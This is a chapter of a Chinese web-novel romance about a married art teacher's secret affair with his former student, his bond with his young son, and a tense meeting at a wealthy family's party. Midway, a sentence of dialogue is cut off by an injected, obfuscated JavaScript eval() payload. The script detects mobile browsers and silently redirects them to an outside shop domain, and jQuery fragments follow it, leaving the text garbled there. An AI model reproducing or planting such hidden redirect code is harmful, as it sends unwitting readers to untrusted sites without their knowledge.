林承望当然没给他补回来,晚上十点多才回家,一回到家,匆匆洗了个澡就躺下闭上了眼,不一会儿呼吸均匀,睡着了。
谢念慈长舒一口气。他和林承望各盖一条空调被,毕竟不再是像连体婴一样亲密无间的年纪了,人说中年夫妻亲一口要做半宿噩梦,他们虽然还没到这种程度,但也没好到哪去。他用空调被把自己裹起来,蒙住了头,手机调到夜间模式,偷偷玩了起来。
说是玩手机,实则是在等某人的消息。
他注册了一个小号,联系列表里只有蒋淳一个人,平时切换到大号,而这个小号,则隐藏起来,只有没人注意的时候才会切换。
蒋淳:【刚到家。】
蒋淳:【好一点了吗?】
谢念慈:【没什么事了,就是下午睡了一觉,晚上估计有点睡不着。】
蒋淳:【老师明天来画室吗?】
谢念慈:【你猜。】
蒋淳:【我猜老师一定会来。】
蒋淳:【对了老师,不是说一夜情对象吗?怎么还注册了小号加我?】
蒋淳:【冷酷一点嘛。】
蒋淳:【老师越难追我越有动力。】
蒋淳:【开玩笑的。】
蒋淳:【只要老师愿意和我说话就足够了。】
神经病!
谢念慈把头埋进枕头里,稍微冷却了一下,正准备回复蒋淳,忽然听到被子外面传来弱弱的呼唤声:“妈咪……”
他心中一惊,手忙脚乱切换账号,把手机反扣在枕头下,随后掀开被子,看见自家儿子抱着奥O曼和小被子站在床头。
“小鱼?”谢念慈心头乱颤,背着老公和一夜情对象聊天,倒没什么压力,但一看到小鱼,他那股愧疚又飘上了,“这么晚了,你怎么不睡觉呀?”
小鱼,或者说,林羽宸小朋友看着妈妈,泪眼汪汪,细声细气说:“房间里有怪兽,我害怕……妈咪陪小鱼睡觉好不好?”
“房间里怎么会有怪兽?”谢念慈哭笑不得,坐起来,把儿子抱上床,捏了捏儿子的小脸,“你今天是不是又偷偷看电视了?”
小孩支支吾吾:“没有……”
谢念慈把儿子抱到他和林承望的中间,给儿子盖上小熊图案的被子,说,“不能撒谎哦,看电视就看电视了,妈咪不会说小鱼坏话的,偶尔看看奥O曼也挺好。”
小鱼抱着奥O曼玩偶,缩进谢念慈的怀里,小小声说:“我长大了想变成奥O曼,这样就不怕怪兽了,还能保护妈咪。”
谢念慈心软软的,紧紧抱住儿子,嘴唇不停亲着小孩的额头和脸颊。小鱼就乖乖地躺在他的怀里,身上软软的,眨巴着一双大眼睛。
“快睡觉啦。”谢念慈说,“明天早上还要去幼儿园呢。”
小鱼把眼睛闭上。
这一番动静总算惊动了熟睡的林承望。男人手一捞,没捞到妻子,而是摸到了儿子的脸,半梦半醒问:“怎么了?大晚上的谁在说话?”
小鱼瓮声瓮气说:“爸爸,是我。”
林承望清醒了不少,坐起身,一边端起床头柜上的水杯,一边说:“你怎么跑到爸爸妈妈的房间里了?”
小鱼蜷缩在谢念慈的怀里,只露出一个毛茸茸的脑袋,说:“房间里有怪兽,我害怕,来找妈咪。”
谢念慈抚摸儿子的后脑勺,小孩的头发又细又软,散发着好闻的儿童洗发水气味。谢念慈说:“估计是白天覃阿姨打开电视给他看奥O曼,他被里面的怪兽吓到了。你快睡吧,明天早上还要开会。”
大概是太久没和儿子说话,林承望难得露出一点父亲的耐心,笑着对儿子说:“天天看奥O曼,小鱼学会变身了吗?”
小鱼摇摇头。
三岁的小男孩正是上房揭瓦人嫌狗厌的年纪,别的小孩皮得要死,把全家逗得团团转,林羽宸小朋友却乖得过分了。他的大脑在严肃思考为什么买回来的变身器只会发出音乐和光,却不能让他像大古一样变身拯救世界。小孩都有这个梦想,但没有一个人比林羽宸小朋友认真。
林承望笑了两声。
小孩大概是觉得被老爸瞧不起了,从妈妈怀里挣脱出来,站起身摆出变身的姿势,大声说:“我一定会变身的!我要打怪兽!我要保护妈咪和覃覃阿姨!如果爸爸欺负妈咪,我也会变身成奥O曼打爸爸!”
林承望笑说:“这么厉害哇?”
小鱼在床上蹦蹦跳跳,想证明自己超厉害的,谁料他妈妈突然出声道:“好了,快睡吧。”说着,把儿子拉回自己的怀里,脸紧紧贴着小孩的后脑勺,泪流满面。
该怎么形容这种感受?
谢念慈突然发现成年人的伪装在小孩面前不堪一击,其实小鱼什么都懂,他和林承望之间的生疏连一个孩子都看出来了,成人的欲望、恩怨,在小孩的世界里都不存在,小鱼只是想保护他,变成奥O曼。
林承望也躺下了,一家三口相对无言。小孩入睡很快,在妈妈有一下没一下的轻拍下,不一会儿就打起了小小的呼噜。紧接着林承望也睡着了,呼吸绵长。谢念慈忽然有些恨这人不打呼噜,这样他就能义正辞严和林承望分房睡觉……
身旁躺着丈夫和儿子,他的思绪却飘得很远很远,如果不是还抱着小鱼,他可能早就翻出手机,和那个人聊天了。他突然想和蒋淳分享自己的生活,寂静的夜,熟睡的家人,落寞与感动并肩同行的心。
但他不能。
不能。
他不仅仅是林承望的妻子,更是小鱼的妈妈……如果昨夜是一场春梦就好了,梦醒了,他无需有负担,但正因不是梦,他有着必须背负的道德责任。
不能。
睡吧。
……
第二天一早,谢念慈送小鱼上幼儿园,车头一转,直接到了画室。B美大概都放暑假了,而艺考生的集训刚刚拉开帷幕,谢念慈总有操不完的心,明明自己只是幕后老板,却还是喜欢往画室跑。
他喜欢年轻人,二十岁的人即便是颓废,也有着无与伦比的生命力,一旦过了二十五岁,身体机能和心气会骤减,他不想过早体会中年危机,他需要这些学生们的活力。
他没去注意蒋淳来了没有,径直掠过一楼的大画室,眼睛斜也不斜上了楼。一进自己的办公室,咖啡的气味扑面而来。
办公桌上放着一杯xx家的咖啡,奶味很重。他走上前,拿起来发现还是热的,再一看,咖啡底下压了一张纸。
打开,是一幅速写。
门框倚着一个纤瘦的人,神情宁静,唇角含笑,身形优雅。作者一定观察了速写对象很久很久,习惯在身前交叉的手也画出来了,一旁写道:“你昨晚没回我消息,给你买了加奶加糖的拿铁,一直很奇怪,喝得下冰美式,为什么又讨厌不加糖的拿铁?”
速写对象是谢念慈。
字迹是蒋淳的。
谢念慈在原地愣了一会儿,捏着那张速写,缓缓坐到椅子上,看了许久,才拿起咖啡喝了一大口。暖的,甜的,微苦的,比起冰美式好喝多了,但他只有喝美式才能提神,热的美式和中药没什么差别,冰的勉强能入口,甜的拿铁令他发困。
他把速写纸对折,塞进抽屉里,从一旁抽出一张干净的白纸,用铅笔在上面写写画画,又立马擦去。夏日早晨的阳光在被反复擦拭的白纸上打转,染上一层淡淡的暖黄,越画,嘴角越压不住笑意。他已经很久没有好好画过一幅像样的作品了,生活的麻木导致艺术激情的消退,但最近,他迫切想画点什么,故而现下画得很认真,擦得也很认真。
画完了,他把纸团成一团,拿起包和咖啡,下楼,走进大画室。
蒋淳正在一个角落里练习色彩。
现在很早,画室里没几个人,谢念慈一步两步靠近蒋淳,在那个人回过头时,不偏不倚,将纸团砸到蒋淳的胸口,然后飞速撤退。
蒋淳戴着耳机,被砸中时还有些懵,随后笑了笑,捡起落在地上的纸团,打开一看,居然是空白的。
不,不能说是空白的,而是写过或者画过一些东西,却被人擦干净了,橡皮屑还黏在上面呢。蒋淳仔细辨认了好久,才发现左下角写了一句“不告诉你”,被擦掉了。
这行字下面又写了一句“要你管”,又被擦掉了,至于画了什么……
蒋淳看了很久,心情失落。
不是他。
而是某著名的奥O曼。
搞不懂谢念慈的大脑。
毫无疑问,这位太太非常容易心软,嘴软心软哪里都软,甚至蒋淳觉得他的心理年龄也没多大。大概走浪漫路线的艺术家都是如此,心里总要保持着些许童真,谢念慈也八九不离十。蒋淳可以看得出谢念慈的情绪,却抓不透谢念慈的真实想法,像隔了一层雾。
好想知道。
但再怎么想,也急不得。蒋淳依旧坚持有事没事给谢念慈的小号发消息,哪怕谢念慈并不回复。他莫名其妙想起一个吊丝笑话:昨天梦到你把我删了,还好,只是不回复,不回复就是有希望,不是拉黑,不是删除,大赢特赢。
正所谓敌进我退,敌驻我扰,敌疲我打,敌退我进。
论持久战。
蒋淳每门思政课都是90以上的成绩。
当然,谢念慈不是敌人,是一夜情对象,而蒋淳想和这位有夫之妇发展长期关系。
他总体感觉是比较乐观的,他很体谅谢念慈,毕竟还有家庭,看不爽老公总不能连小孩也一起恨吧?谢念慈不是那样的人。
这几日他忙着和明锐画廊的大老板朱总聊合作,和同事换了课,早上去画室晃一圈看看谢念慈来没有,中午到晚上跑去朱总那儿喝茶。朱总是典型的两广大老板做派,千里迢迢搞了一大块阴沉木运到B市,打造成茶几,逢人就给泡功夫茶,一点大老板的架子也没有。蒋淳画《飞天》的时候做足了功课,和朱总聊佛学聊得头头是道,把人哄得心花怒放,直呼他们两人应为莫逆之交。
朱总的起家之路也很传奇。二十多年前他不过是G省首府一家粤菜馆的厨师,硬是干到了特级大厨,上电视,开连锁餐饮店,搞高端商务宴饮,长得一脸横肉、五大三粗,头上已寸毛不生,一脑门的油,胸前挂着一块帝王绿翡翠龙牌,手腕上绕着一大圈菩提珠,通身江湖气。蒋淳因为父亲做烟酒生意的原因,见过不少这类的大哥老板,从小掌握和他们交流的方式,进退自如。
周五那日中午,朱总请他和同校版画系、隔壁T大美院国画系的两位同学,先签了合同,要求他们一年内每人各创作十幅佛教主题的画,不能太深奥,也不能庸俗,要既出世又入世。这种话落到蒋淳耳朵里,就变成了“使劲地忽悠我,我有得是钱”,开价大几万一幅,不全力以赴感觉对不起人家。
签完合同,朱总请他们吃饭,蒋淳这才知道谢念慈生日那家私房菜,也是朱总旗下的,怪不得装潢颇有品味,高端大气上档次中又带着一丝江湖义气。他自然是把这话说给朱总听了,朱总笑得直拍他的肩膀:“你这小子,会哄人!”
蒋淳谦虚一笑。
朱总又问他:“嘴那么甜,有女朋友了没?”
蒋淳心道,没有,有一夜情对象,人家还没离婚呢,嘴上说:“没有没有,忙着上学呢,哪有时间搞这些。”
朱总说:“我给你介绍一个……”说着,桌上的手机响了,朱总拿起手机,跑到外面打电话去了,徒留下三个大学刚毕业的美术生面面相觑。
过了一会儿,朱总回来了,笑着对他们说:“哎哟,我都忘了今天下午有大佬请我参加宴会,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146440|196391||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
走,我带你们去见见市面。”
蒋淳连忙站起来,说:“朱总,这样不好吧?”
朱总哈哈一笑:“有什么不好的?他们家有自己的大庄园,不差你们这三个人的饭!你们多去看看,认识认识大佬,现在的行业不景气,没点人脉路不好走,你们还年轻,嘴巴又甜,机会来了就赶紧抓住。”
蒋淳想去。
比起大学同学聚在一起打手机游戏的毕业谢师宴,这种名流如潮的宴会更能帮助他,指望同学日后成大款还不如靠自己,他麻利上了朱总的车,其他两个毕业生咬咬牙,也上了车。
上了车,朱总才咧嘴笑说:“你们知道是谁家的庄园吗?”
三个大学生摇头。
“林高格的庄园,这你们总听说过吧?大佬中的大佬,光是建那个庄园就花了大几亿。”朱总拍了一下手,“他儿子年轻有为啊,跑去G市愣是把一大块地皮啃下来了,将来要打造成吃喝玩乐一体的大型广场和住宅区,他们家的商场入驻餐饮业,头一批就找我。”
蒋淳愣住了。
朱总还在副驾驶喋喋不休:“唉,乱世黄金,盛世古董,我跟你们说,要看那些好的古董,去博物馆没用的,好东西全被这些人拿走了。林高格他老婆出身无锡骆家,哦哟,清代一品大员的后人,家里一堆古董,听说还藏有魏晋时期的佛头……”
蒋淳有些耳鸣。
“……小蒋?小蒋?”
朱总在叫他。
他连忙回过神,说:“朱总有事?”
朱总笑说:“林家的儿媳妇是你毕设导师对吧?那可真是巧了。”
“是。”蒋淳听到自己说。
他想下车。
但开弓没有回头箭。
只能求宴会上的人多一点,谢念慈忙一点,朱总和别人聊得嗨一点……他还没做好和谢念慈一家碰上的准备。
庄园建得非常漂亮,法式独栋,一望无际的绿草坪,分成了露天宴会区、马场、高尔夫球场等功能区,里头的人个个衣着体面,能看见不少新闻上的熟面孔。
哪怕是成熟如蒋淳,也不免束手束脚,和两个同龄人跟在朱总背后,见了不少人。朱总介绍他们说:“我最近看上的青年艺术家!B美和T大美院的高材生!”
他们就赔笑,也不敢多说什么。
蒋淳看了看手机,打算五点就走,说不定还能赶上谢师宴。
一旁的同行学生已经吃上了,据说庄园提供的下午茶味道相当不错,三条长长的披着蕾丝白布的桌子,小巧精致的甜点摆在上面,随时有人为来客添酒,蒋淳没敢多喝,端着杯子,强迫自己不要去搜寻谢念慈的下落。
朱总忽然说:“小蒋!你快过来!”
他连忙转身,整理了一下衬衫,毕竟是和朱总吃饭,他今天穿的是正装衬衫和黑色西裤,放在这种场合不算寒酸,谁料一转头,谢念慈的身影直直闯入他的眼睛。
他从未见过这样的谢念慈——长发盘在脑后,戴着成套的珠宝,右手腕叠戴着黄金镯、朱砂手串和天空蓝玻璃种翡翠镯,脖子系着银灰色的丝巾,身上的礼服一看便知和身旁男人是一套的,都是银灰色搭配雪白衬衫,精英感油然而生。
谢念慈挽着那个男人的手臂,牵着一个长得和他有几分相似的小男孩。小男孩也打扮得体面可爱,背带短裤小蝴蝶领结,黏在谢念慈的身边,只露出半张小脸,眨巴着大眼睛观察宴会上的成年人。
朱总爽朗一笑,大步上前,口中道:“林总——好久不见!”
银灰色西装男也笑,礼貌与朱总抱了一下:“朱总,真是好久不见,之前在G市想请你吃饭,结果你又常住B市了!”
朱总笑:“等你们在G市的项目起来了,我肯定要回去支持的嘛!”
寒暄完,西装男又抬起眼,朝他们几个看来:“朱总,这几位是……”
“哦,是我最近从美院挖出来的高材生。”朱总很热情介绍他们几个,“来,小蒋,小郭,小李,你们来和林总林太太打招呼。”
蒋淳只看了一眼谢念慈,便收回了目光,面色无波走上前。
朱总又说:“林太太,小蒋是您的学生吧?年轻有为啊!我上周在B美毕设展对他的画一见倾心,让他来和我一起搞项目,小蒋厉害的啵,会说话,懂事,林太太,您教得好啊!”
谢念慈也看了蒋淳一眼,笑容得体:“是的,小蒋是个很有天赋的学生,能被朱总看上,真是太好了。”
西装男闻言挑了挑眉,问谢念慈:“你学生?”
谢念慈点头,眼神却避开了西装男。
“你好。”西装男,不,林承望上前一步,对蒋淳伸出一只手,“我是你老师的丈夫,很高兴认识你。”
蒋淳笑了笑,与林承望浅浅握手。面前的男人在他眼里完全是马赛克状态,看不出任何与谢念慈相配的点。他说:“哪里哪里,蒙承老师教导罢了,老师也常常和我提起林总,说您和他感情特别好。”
各种方面的教导。
床上床下。
但蒋淳始终没有表现出任何嫉妒、不忿。他看着这一切,心里酸水直冒,才发觉他是个小偷,偷走了谢念慈一个晚上,现在魔法消失了,他们回到了原点,甚至被推向了更远的位置,中间隔着一处巨大的阶级鸿沟。
他需要多少钱、多少努力,才能把谢念慈从林承望手里正大光明抢走?
他为了避开谢念慈,转过身让招待生添酒,可在偏过头的那一瞬,两人目光相接。他看见谢念慈的眼睛依旧明亮温柔,却又蒙着一层水雾,向他眨了眨眼,旋即又垂下眼眸,恢复波澜不惊的模样。
别露出这样的表情。
蒋淳心中苦笑。
不然我真的要当场把你抢走了。